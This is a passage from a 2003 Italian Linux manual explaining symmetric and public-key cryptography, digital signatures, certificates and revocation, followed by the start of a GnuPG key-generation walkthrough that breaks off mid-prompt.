197.2 Certificato X.509 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2152

197.3 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2155

198 Connessioni cifrate e certificate . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2156

198.1 Fasi astratte dell’instaurarsi di una connessione cifrata e certificata . . . . . . . . .2156

198.2 SSL/TLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2157

198.3 Introduzione al protocollo SECSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2158

198.4 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2161

199 Introduzione a OpenSSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2162

199.1 Collocazione e impostazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2162

199.2 Procedimento per ottenere un certificato . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2163

199.3 Cenni sulla configurazione di OpenSSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2166

199.4 Simulazione dell’allestimento e del funzionamento di un’autorità di certificazione2168

2129

Page 146: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

199.5 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2172

200 Applicazioni che usano OpenSSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2173

200.1 Aggiornare l’elenco dei servizi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2173

200.2 Opzioni comuni . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2174

200.3 Certificati dei servizi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2174

200.4 Apache-SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2175

200.5 Telnet-SSL . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2177

200.6 SSLwrap . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2178

200.7 Stunnel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2180

201 LSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2182

201.1 Attivazione del servizio LSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2182

201.2 Cliente del servizio LSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2185

201.3 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2187

202 OpenSSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2188

202.1 Protocolli . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2188

202.2 Preparazione delle chiavi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2188

202.3 Verifica dell’identità dei serventi . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2190

202.4 Autenticazione RHOST . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2192

202.5 Autenticazione RHOST sommata al riconoscimento della chiave pubblica . .2193

202.6 Autenticazione basata sul controllo della chiave pubblica . . . . . . . . . . . . . . . . .2193

202.7 Autenticazione normale . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2195

202.8 Servente OpenSSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2195

202.9 Cliente OpenSSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2199

202.10 Verifica del funzionamento di un servente OpenSSH . . . . . . . . . . . . . . . . . . . .2202

202.11 X in un tunnel OpenSSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2203

202.12 Creazione di un tunnel cifrato generico con OpenSSH . . . . . . . . . . . . . . . . . . .2205

202.13 Installazione . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2205

202.14 Riferimenti . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2206

2130

Page 147: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 195Introduzione ai problemi legati alla crittografiae alla firma elettronicaLa comunicazione meccanica (elettronica) pone dei problemi legati alla riservatezza e alla facilitàcon cui questa può essere contraffatta. Per fare un esempio, un messaggio di posta elettronica puòessere intercettato facilmente da parte di chiunque abbia un accesso privilegiato ainodi di reteattraverso cui transita; nello stesso modo, un messaggio può essere manomesso, anche senzalasciare tracce apparenti.

Per risolvere questi problemi si possono usare dei metodi di cifratura dei dati e per evitare con-traffazioni si possono usare delle firme elettroniche (o firme digitali). Questo capitolo cerca dispiegare i concetti essenziali inerenti a queste procedure.

195.1 Crittografia

La crittografia è una tecnica attraverso la quale si rendono illeggibili i dati originali, permettendoal destinatario di recuperarli attraverso un procedimento noto solo a lui. Si distinguono due formefondamentali: la crittografiasimmetrica, ovveroa chiave segreta, e quellaasimmetrica, notameglio come crittografiaa chiave pubblica.

La crittografia simmetrica è quella più semplice da comprendere; si basa su un algoritmo chemodifica i dati in base a unachiave(di solito una stringa di qualche tipo) che permette il ripristinodei dati originali soltanto conoscendo la stessa chiave usata per la cifratura. Per utilizzare unacifratura simmetrica, due persone si devono accordare sull’algoritmo da utilizzare e sulla chiave.La forza o la debolezza di questo sistema, si basa sulla difficoltà o meno che ci può esserenell’indovinare la chiave, tenendo conto anche della possibilità elaborative di cui può disporrechi intende spiare la comunicazione.

Figura 195.1. Crittografia simmetrica.

.-----------. cifratura .-----------. decifratura .-----------.| Documento | | "%&&%//() | | Documento || bla bla | | =9(ui&$%! | | bla bla || bla bla |-----> chiave ----->| @#$£"!=)8 |-----> chiave ----->| bla bla || ... | simmetrica | ... | simmetrica | ... || ... | | ... | | ... |‘-----------’ ‘-----------’ ‘-----------’

La crittografia a chiave pubblica è un metodo molto più complesso, che però ha il vantaggio diessere più pratico quando riguarda la comunicazione con molte persone. Il principio di funziona-mento si basa sul fatto che esistono due chiavi complementari, assieme a un algoritmo in gradodi cifrare con una chiave e di decifrare utilizzando l’altra. In pratica, la cifratura avviene a sensounico attraverso la chiave di cui dispone il mittente di un messaggio, mentre questo può esse-re decifrato esclusivamente con l’altra che possiede solo il destinatario. Le due chiavi vengonochiamatechiave pubblicae chiave privata, attribuendogli implicitamente un ruolo specifico. Inpratica, chi vuole mettere in condizione i propri interlocutori di inviare dei messaggi, o altri daticifrati, che nessun altro possa decifrare, dovrà costruire una propria coppia di chiavi e quindi di-stribuire la chiave pubblica. Chi vuole inviare informazioni cifrate, può usare la chiave pubblicadiffusa dal destinatario, perché solo chi ha la chiave complementare, ovvero la chiave privata,può decifrarle. In questa situazione, evidentemente,la chiave privata deve rimanere segreta atutti , tranne che al suo proprietario; se venisse trafugata permetterebbe di decifrare i messaggiche fossero eventualmente intercettati.

Per questa ragione, il proprietario di una coppia di chiavi asimmetriche deve essere la stessapersona che se le crea.

2131

Page 148: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2132 Introduzione ai problemi legati alla crittografia e alla firma elettronica

Figura 195.2. Crittografia a chiave pubblica.

.-----------. cifratura .-----------. decifratura .-----------.| Documento | | "%&&%//() | | Documento || bla bla | | =9(ui&$%! | | bla bla || bla bla |-----> chiave ----->| @#$£"!=)8 |-----> chiave ----->| bla bla || ... | pubblica | ... | privata | ... || ... | | ... | | ... |‘-----------’ ‘-----------’ ‘-----------’

La cifratura può anche essere ibrida, utilizzando in pratica entrambe le tecniche. Per attuarla,di solito si utilizza prima la cifratura simmetrica con una chiave determinata in modo casualeogni volta: lachiave di sessione. Questa chiave di sessione viene allegata al messaggio, o ai datitrasmessi, cifrandola a sua volta (eventualmente assieme agli stessi dati già cifrati) attraverso ilsistema della chiave pubblica, ovvero quello che si basa sulla coppia di chiavi complementari.Il destinatario di questi dati dovrà fare il percorso inverso, decifrando il documento con la suachiave privata, quindi decifrandolo nuovamente utilizzando la chiave di sessione che ha ottenutodopo il primo passaggio.

195.2 Firma elettronica, o firma digitale

La firma elettronica ha lo scopo di certificare l’autenticità dei dati. Per ottenere questo risultatooccorre garantire che l’origine di questi sia autentica e che i dati non siano stati alterati.

Per dimostrare che un documento elettronico non è stato alterato, si utilizza la tecnica delcodicedi controllo, che in pratica è un numero (o una stringa), che si determina in qualche modo in baseal contenuto del documento stesso. L’algoritmo che genera questocodice di controllo è tantopiù buono quanto è minore la probabilità che due documenti diversi generino lo stessocodicedi controllo. Questo valore è una sorta di «riassunto» matematico del documento elettronicooriginale, che può essere fornito a parte, attraverso un canale ritenuto sicuro, per permettere aldestinatario di verificare che il documento è giunto intatto, ricalcolando ilcodice di controllo chedeve risultare identico.1

Figura 195.3. Trasmissione di un documento abbinato a un codice di controlloseparato.

.-----------. .-----------.| Documento | | Documento || ... | Invio attraverso | ... || ... |--------------->/////////>-------------->| ... || ... | la rete | ... |‘-----------’ ‘-----------’

| || |V V

.-----------. .-----------. .-----------.| Codice di | | Codice di | | Codice di || controllo | | controllo | == | controllo |‘-----------’ | calcolato | ‘-----------’

| ‘-----------’ ^| Canale sicuro |‘----------------------->///////////////>--------------------------’

La firma elettronica deve poter dimostrare che l’origine è autentica e che ilcodice di controllonon è stato alterato. Evidentemente, per non creare un circolo vizioso, serve qualcosa in più. Perquesto si utilizza di solito la cifratura delcodice di controllo assieme ai dati, oppure solo delcodice di controllo, lasciando i dati in chiaro. Per la precisione, si utilizza la tecnica delle chiavicomplementari, ma in questo caso, le cose funzionano in modo inverso, perché chi esegue la

1Nella terminologia normale che riguarda i sistemi di cifratura dei messaggi, questocodice di controllo è conosciutocome «hash».

Page 149: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi legati alla crittografia e alla firma elettronica 2133

firma, deve usare la sua chiave privata (quella segreta), in maniera tale che tutti gli altri possanodecifrare ilcodice di controllo attraverso la chiave pubblica.

Naturalmente, una firma elettronica di questo tipo può essere verificata solo se si può essere certiche la chiave pubblica attribuita al mittente che ha firmato il documento, appartenga effettiva-mente a quella persona. In altre parole, un impostore potrebbe diffondere una chiave pubblicacorrispondente a una chiave privata di sua proprietà, indicandola come la chiave del signor Ti-zio, potendo così inviare documenti falsi a nome di questo signor Tizio, che in realtà non ne è ilresponsabile.

Figura 195.4. Principio di funzionamento della firma elettronica applicata a undocumento trasmesso in chiaro.

.-----------. .-----------.| Documento | | Documento || ... | | ... || ... |---------. .------->| ... || ... | | | | ... |‘-----------’ | | ‘-----------’

| | | || | | |V | | V

.-----------. | | .-----------. .-----------.| Codice di | | | | Codice di | | Codice di || controllo | | Invio attraverso | | controllo | == | controllo |‘-----------’ >------/////////------>| | calcolato | | decifrato |

| | la rete | ‘-----------’ ‘-----------’V | | ^

Chiave privata | | || | | Chiave pubblicaV | | |

.-----------. | | .-----------. || Codice di | | | | Codice di | || controllo |---------’ ‘------->| controllo |------’| cifrato | | cifrato |‘-----------’ ‘-----------’

195.3 Gestione delle chiavi, certificazione e fiducia

I sistemi crittografici a chiave pubblica richiedono attenzione nell’uso di queste chiavi, in partico-lare è importante la gestione corretta delle chiavi pubbliche appartenenti ai propri corrispondenti.Queste chiavi sono conservate all’interno di «portachiavi», di solito distinti a seconda che si trattidi chiavi private o di chiavi pubbliche. Infatti, la chiave privata deve rimanere segreta e va difesain ogni modo, mentre le chiavi pubbliche non richiedono questa attenzione. I portachiavi in que-stione sono normalmente dei file, gestiti in modo più o meno automatico dai programmi che siutilizzano per queste cose.

A parte il problema di custodire gelosamente la propria chiave privata, bisogna considerare lanecessità di verificare che le chiavi pubbliche appartengano effettivamente alle persone a cuisembrano essere attribuite, così si intuisce che il modo migliore per questo è quello di ottenerepersonalmente da loro le rispettive chiavi pubbliche.

Per semplificare un po’ le cose, si introduce la possibilità di controfirmare le chiavi pubbliche chesi ritiene siano di provenienza certa; questa firma ha il valore di una certificazione, che conta infunzione della credibilità di chi la dà. Le chiavi pubbliche firmate, portano con sé l’informazionedi chi le ha firmate, ma la verifica della firma si può fare solo possedendo la chiave pubblicadi questa persona. In pratica, il meccanismo della controfirma permette di creare una rete difiducia, attraverso la diffusione di chiavi pubbliche firmate da altre persone: chi è sicuro dellachiave pubblica di una persona, della quale ha anche fiducia, può decidere di fidarsi delle chiavipubbliche che questa ha firmato a sua volta.

Page 150: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2134 Introduzione ai problemi legati alla crittografia e alla firma elettronica

Una chiave pubblica contiene anche le informazioni che servono ad attribuirla al suo proprietario;di solito si tratta del nome e cognome, assieme a un indirizzo di posta elettronica. Per garantireche questi dati allegati non siano stati alterati, il proprietario delle sue stesse chiavi può firmarela sua chiave pubblica. Ciò serve a garantire che quella chiave pubblica è collegata correttamentea quei dati personali, anche se non può garantire che sia stata creata effettivamente da quellapersona.

Figura 195.5. Verifica di un certificato, ovvero di una chiave pubblica controfirmata..-----------------------.| .-------------------. || | Chiave pubblica | | .-----------.| | di Tizio |-------->| Codice di |-----> Sono ------> Sì, allora| | + informazioni di | | | controllo | uguali? è da ritenere| | identificazione | | ‘-----------’ ^ che la chiave| ‘-------------------’ | | pubblica| .-------------------. | chiave .-----------. appartenga| | firma di Caio |-----> pubblica ---->| Codice di | effettivamente| ‘-------------------’ | di Caio | controllo | a Tizio| .-------------------. | | decifrato || | firma di ... | | ‘-----------’| ‘-------------------’ |‘-----------------------’

Certificato

Quando l’uso dei sistemi crittografici a chiave pubblica diventa una pratica regolata attraversole leggi, soprattutto per ciò che riguarda la firma elettronica, diventa indispensabile l’istituzio-ne di un’autorità in grado di garantire e verificare l’autenticità delle chiavi pubbliche di ognu-no. Nello stesso modo, in mancanza di una tale istituzione, quando queste tecniche vengonousate per scopi professionali, diventa necessario affidarsi alla certificazione fatta da aziendespecializzate in questo settore, che hanno la credibilità necessaria. Tecnicamente si parla diautorità di certificazione, che nella documentazione tecnica inglese si indica con l’acronimo«CA»:Certificate authority.

È l’autorità di certificazione che stabilisce quali siano i dati di identificazione che devonoaccompagnare la chiave nel certificato che si vuole ottenere.

Anche in presenza di un’autorità di certificazione delle chiavi, la coppia di chiavi asimmetri-che dovrebbe essere creata esclusivamente dal suo titolare (il suo proprietario), che solo cosìpotrebbe essere effettivamente l’unico responsabile della segretezza della sua chiave privata.

Tornando alle situazioni pratiche, la verifica di una chiave pubblica può essere semplificata at-traverso l’uso di un’impronta digitale. Si tratta di un altrocodice di controllo calcolato su unachiave pubblica, che ha la proprietà di essere ragionevolmente breve, tanto da poter essere scam-biato anche su un foglio di carta. Quando due persone vogliono scambiarsi le chiavi pubblichepersonalmente, al posto di farlo realmente, possono limitarsi a scambiarsi l’impronta digitale del-la chiave, in modo da poter poi verificare che la chiave pubblica avuta attraverso i canali normalicorrisponde effettivamente a quella giusta.

Page 151: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi legati alla crittografia e alla firma elettronica 2135

Figura 195.6. Impronta digitale della chiave pubblica.

.----------. canale .----------.| Chiave |----------------////////---------------->| Chiave || pubblica | non sicuro | pubblica |‘----------’ ‘----------’

| || || V| .----------.| | Impronta || | digitale || ‘----------’|| sono uguali?V

.----------. canale .----------.| Impronta |----------------////////---------------->| Impronta || digitale | sicuro | digitale |‘----------’ ‘----------’

195.3.1 Difesa della chiave privata

Data l’importanza che ha la segretezza della chiave privata, è normale che i sistemi crittograficiprevedano la protezione di questa informazione attraverso unaparola d’ordine. In generale, vienedata la facoltà di lasciare la chiave privata in chiaro, o di cifrarla attraverso una stringa, laparolad’ordine, che in questo contesto particolare è conosciuta meglio comepassphrase. L’utilizzo diuna chiave privata cifrata si traduce in pratica nella necessità, ogni volta che serve, di inserire iltesto utilizzato per cifrarla.

L’utilizzo di chiavi private protette in questo modo, è indispensabile in un sistema multiutente,in cui l’amministratore di turno può avere accesso a tutto quello che vuole nelfile system; dal-l’altra parte, in questo modo si riduce il pericolo che qualcun altro possa usare una chiave privatatrafugata.

195.3.2 Certificati: scadenza e revoca

Dovrebbe essere chiaro, ormai, che il file contenente la chiave pubblica e i dati identificativi delsuo titolare, assieme a una o più firme di certificazione, è uncertificato.

Come nei certificati normali, quando le informazioni che vengono attestate in questo modo nonsono definitive per loro natura (si pensi all’indirizzo di posta elettronica che può cambiare anchemolto spesso), è importante prevedere una scadenza tra i dati che compongono il certificatostesso. Oltre a questo, ci deve essere la possibilità di revocare un certificato prima della suascadenza normale: sia per la possibilità che i dati relativi siano cambiati, sia per premunirsi incaso di furto della chiave privata. La revoca di un certificato si ottiene attraverso uncertificato direvoca.

A seconda del sistema crittografico che si utilizza, il certificato di revoca può essere predispostodalla stessa persona che si costruisce le chiavi, oppure può essere compito dell’autorità di certifi-cazione che si occupa di rilasciare i certificati. Il problema verrà ripreso più avanti, nei prossimicapitoli.

Page 152: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2136 Introduzione ai problemi legati alla crittografia e alla firma elettronica

195.4 Cosa può succedere se...

È il caso di soffermarsi sul significato pratico di alcune cose che possono succedere, in modo dacapire meglio l’importanza di alcuni aspetti che riguardano la crittografia a chiave pubblica.

Se si perde la chiave privata, non si possono più decifrare i messaggi ricevuti dagli interlocutori,quando questi li hanno cifrati con la chiave pubblica relativa; inoltre non si possono decifrare piùnemmeno quelli che sono stati ricevuti in passato.

Se qualcuno ruba una copia della chiave privata, questa persona può leggere i messaggi cifratiinviati al proprietario di quella chiave e può sostituirsi a quella persona in generale; può anchefirmare a suo nome.

L’unica cosa che si può fare quando si perde la chiave privata, o si sospetta che qualcuno siariuscito a ottenerne una copia, è la diffusione del certificato di revoca.

Se si utilizza una chiave pubblica senza averla verificata, si rischia di far recapitare il messaggioo i dati a una persona diversa da quella che si intende veramente. Infatti, un estraneo potrebbeintercettare sistematicamente le comunicazioni della persona a cui si vuole scrivere o inviare altridati. In tal modo, questo estraneo riceverebbe dei messaggi che può decifrare con la sua chiaveprivata, provvedendo poi a cifrarli nuovamente nel modo giusto per inviarli al destinatario reale,in modo che nessuno si accorga dell’intercettazione.

195.5 Servizi per la diffusione delle chiavi pubbliche

Ci possono essere molti modi di diffondere la propria chiave pubblica, oppure quella di altri,dopo che questa è stata controfirmata. Il metodo standard dovrebbe consistere nell’utilizzo di unservente specifico per questo. Normalmente, questiserventi di chiavi (key-servero cert-server)sono collegati tra loro in modo da aggiornarsi a vicenda. Il servizio si limita ad accumulare lechiavi pubbliche che vengono inviate, senza certificare implicitamente la genuinità di queste. Perprelevare una chiave pubblica occorre conoscere il numero di identificazione di questa (si tratta diun numero attribuito automaticamente dal programma che crea la coppia di chiavi), tenendo contoche tale informazione può essere ottenuta dalla stessa persona con la quale si vuole comunicarein modo cifrato, magari perché la aggiunge sistematicamente in coda ai suoi messaggi di postaelettronica.

Per accedere a questiserventi di chiavi non si usano i protocolli normali e occorre affidarsi diret-tamente agli strumenti di gestione della crittografia e delle firme. Ilservente a cui si fa riferimentodi solito ècertserver.pgp.com , comunque non è necessario servirsi proprio di questo. Te-nendo conto che di solito i nomi deinodi che offrono questo tipo di servizio corrispondono a unmodello del tipo* .pgp.net , * .pgp.org , oppure* .pgp.com , o simili, si potrebbe fareuna ricerca attraverso un motore di ricerca comune.

195.6 Problemi legali

L’utilizzo di sistemi di comunicazione cifrata potrebbe essere regolato dalle leggi dei paesi coin-volti. Il problema è che bisogna verificare le norme del paese di origine di una trasmissione delgenere e anche quelle del paese di destinazione. Per quanto riguarda l’Italia, la cosa non è chiara.2

Questo serve per ricordare che si tratta di una materia delicata; anche se si ritiene di poter utiliz-zare la crittografia in Italia, bisogna pensarci bene prima di inviare messaggi cifrati all’estero, o

2L’affermazione va intesa nel senso che l’autore non è in grado di dare un’indicazione precisa al riguardo.

Page 153: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione ai problemi legati alla crittografia e alla firma elettronica 2137

di usare altre forme di comunicazione cifrate. Il problema si può porre anche nell’ambito dellastessa Unione Europea.

195.7 Riferimenti

• Crittografia

<http://ca.alinet.it/crittografia.html>

• Andrea Colombo,Le nuove tecnologie di crittografia

<http://impresa- stato.mi.camcom.it/im_43/colo.htm>

• InterLex,Introduzione alla firma digitale

<http://www.interlex.com/docdigit/intro/intro1.htm>

• The GNU Privacy Handbook, 1999

<http://www.bluemarble.net/~jashley/gnupg/manual/book1.html>

<http://www.bluemarble.net/~jashley/gnupg/manual.ps>

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

Page 154: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 196GnuPG: GNU Privacy GuardGnuPG1 è uno strumento per la gestione della crittografia e delle firme elettroniche, compa-tibile con le specificheOpenPGP pubblicate nell’RFC 2440. Rispetto al notoPGP, si tratta disoftware libero e in particolare non vengono utilizzati algoritmi proprietari. Tuttavia, nonostantequeste sue caratteristiche, viene diffuso soltanto attraverso siti europei, a causa delle limitazioniall’esportazione poste dal governo degli Stati Uniti.

196.1 Organizzazione generale

GnuPG è composto da due eseguibili:‘gpg ’ e ‘gpgm’ . Di solito, il secondo viene richiamato dalprimo, in base alle necessità, senza che ci sia bisogno di utilizzarlo direttamente. La distinzionein due eseguibili dipende dall’esigenza di distinguere le operazioni delicate dal punto di vistadella sicurezza, da quelle che non hanno questo problema. Nel primo caso si deve fare uso dimemoria «sicura», nel secondo non esiste questo bisogno. Tra le altre cose, da questo problemalegato alla memoria dipende la limitazione pratica nella dimensione delle chiavi che si possonogestire.

Una volta chiarito che basta utilizzare solo l’eseguibile‘gpg ’ , occorre vedere come sonoorganizzati gli argomenti nella sua riga di comando:

gpg [ opzioni] comando [ argomenti_del_comando]

In pratica, si utilizza‘gpg ’ esattamente con l’indicazione di un comando. Il funzionamento ge-nerale può essere definito attraverso le opzioni che precedono tale comando, mentre il comandostesso potrebbe richiedere l’indicazione di altri argomenti.2

Le opzioni «lunghe», cioè quelle che andrebbero indicate con due trattini iniziali, possono essereinserite in un file di configurazione, avendo però l’accortezza di eliminare i due trattini. Il file diconfigurazione diGnuPG è sempre solo personale, il nome predefinito è‘~/.gnupg/options ’e di solito viene creato automaticamente la prima volta che si usa il programma (assieme alladirectory che lo precede). Come in molti altri tipi di file del genere, il carattere‘#’ viene utilizzatoper iniziare un commento, mentre le righe bianche e quelle vuote vengono ignorate nello stessomodo. In particolare, negli esempi che verranno mostrati, si fa riferimento alla situazione tipica,in cui non viene modificato il file di configurazione creato automaticamente e tutto quello cheserve deve essere definito attraverso la riga di comando.

Come si può intuire, la directory‘~/.gnupg/ ’ serve anche per contenere altri file relativi alfunzionamento diGnuPG, tenendo conto, comunque, che in condizioni normali viene creata laprima volta che si avvia l’eseguibile‘gpg ’ . I file più importanti che si possono trovare sono:‘~/

.gnupg/secring.gpg ’ , che rappresenta il portachiavi delle chiavi private (file che deve esse-re custodito e protetto gelosamente);‘~/.gnupg/pubring.gpg ’ , che rappresenta il portachiavidelle chiavi pubbliche (ovvero dei certificati);‘~/.gnupg/trustdb.gpg ’ , che contiene le infor-mazioni sulla propria fiducia nei confronti di altre persone che possono avere firmato (certificato)le chiavi pubbliche di altri.

Una volta creata la propria coppia di chiavi, occorre decidere la politica di sicurezza da utiliz-zare per proteggere il portachiavi privato. Oltre alla necessità di farne delle copie da conservarein un luogo sicuro, si può considerare la possibilità di mettere questo file in un altro luogo; peresempio in un disco rimovibile, da inserire solo quando si deve usare la propria chiave privata.In questo caso, si potrebbe sostituire il file‘~/.gnupg/secring.gpg ’ con uncollegamentosimbolico al file reale in un altro disco montato solo per l’occasione.

1GnuPG GNU GPL2In questo contesto, il comando è un’opzione che ha un ruolo particolare.

2138

Page 155: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

GnuPG: GNU Privacy Guard 2139

Ogni volta che c’è bisogno di accedere a questi file, viene creato unfile di lock, con lo stessonome del file a cui si riferisce e l’aggiunta dell’estensione‘ .lock ’ . Alle volte, se si interrompeil funzionamento dell’eseguibile‘gpg ’ , possono rimanere questi file, che poi impediscono diaccedere ai dati. Se ciò accade, viene segnalato dal programma, che indica anche il numero chedovrebbe avere il processo che li ha bloccati: se questo processo non c’è, vuol dire che ifile dilock possono essere rimossi.

Nelle sezioni successive, viene mostrato il funzionamento diGnuPG, attraverso l’eseguibile‘gpg ’ , mostrando l’interazione con questo quando si fa riferimento a una localizzazione di lin-gua inglese. Se si utilizza un sistema configurato correttamente per quanto riguarda proprio lalocalizzazione, si vedranno i messaggi in italiano (quelli che sono stati tradotti), ma in italianovanno date anche le risposte. In particolare, quando una domanda prevede che si risponda conun «sì», oppure un «no», si devono usare le iniziali, «s» o «n», anche se per qualche motivo ladomanda è rimasta in inglese perché manca quella traduzione particolare.

196.2 Creazione delle chiavi e del certificato di revoca

La creazione di una coppia di chiavi è un’operazione molto semplice. Quello che occorre consi-derare prima è il modo in cui verrà gestito il file che rappresenta il portachiavi privato, come è giàstato descritto. In particolare, occorre considerare subito la possibilità di creare un certificato direvoca, che in pratica è un codice che permette di annullare ufficialmente una chiave, quando perqualche ragione non può più essere utilizzata (per esempio perché è stata rubata, oppure perchéè stata persa semplicemente).

Si comincia con la creazione di una coppia di chiavi, utilizzando il comando‘ --gen-key ’ . Senon erano stati creati prima, viene predisposta la directory‘~/.gnupg/ ’ con i vari portachiavi.

tizio$ gpg --gen-key [ Invio ]

Please select what kind of key you want:(1) DSA and ElGamal (default)(2) DSA (sign only)(4) ElGamal (sign and encrypt)

A questo punto iniziano una serie di richieste con le quali si devono stabilire le caratteristichedelle chiavi che si creano. Per vari motivi, è conveniente affidarsi alle scelte predefinite, a menodi avere le idee chiare al riguardo.

Your selection? 1[ Invio ]

DSA keypair will have 1024 bits.About to generate a new ELG-E keypair.

minimum keysize is 768 bitsdefault keysize is 1024 bits

highest suggested keysize is 2048 bits

What keysize do you want? (1024) [ Invio ]

Please specify how long the key should be valid.0 = key does not expire

<n> = key expires in n days<n>w = key expires in n weeks<n>m = key expires in n months<n>y = key expires in n years

Questo può essere un punto delicato. Di solito si crea una coppia di chiavi che non scadonomai, ma per motivi di sicurezza si potrebbe stabilire una scadenza. Ribadendo che in condizioni

Page 156: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2140 GnuPG: GNU Privacy Guard

normali si crea una coppia di chiavi senza scadenza, negli esempi si mostra la creazione di unachiave che scade alla fine di una settimana.

Key is valid for? (0) 1w[ Invio ]

Key expires at Fri Oct 8 10:55:43 1999 CEST

Is this correct (y/n)? y [ Invio ]

Per completare questa fase occorre indicare i dati personali che vengono uniti alle chiavi, in mododa facilitarne il riconoscimento.

You need a User-ID to identify your key; the software constructs the user idfrom Real Name, Comment and Email Address in this form:

"Heinrich Heine (Der Dichter) <[email protected]>"

Come si vede, si tratta di indicare il proprio nome e cognome, quindi verrà richiesto un indirizzodi posta elettronica, infine viene proposta la possibilità di mettere una nota, che potrebbe essereun nomignolo o qualunque altra cosa che possa aiutare a individuare il proprietario della chiave.

Real name: Tizio Tizi [ Invio ]

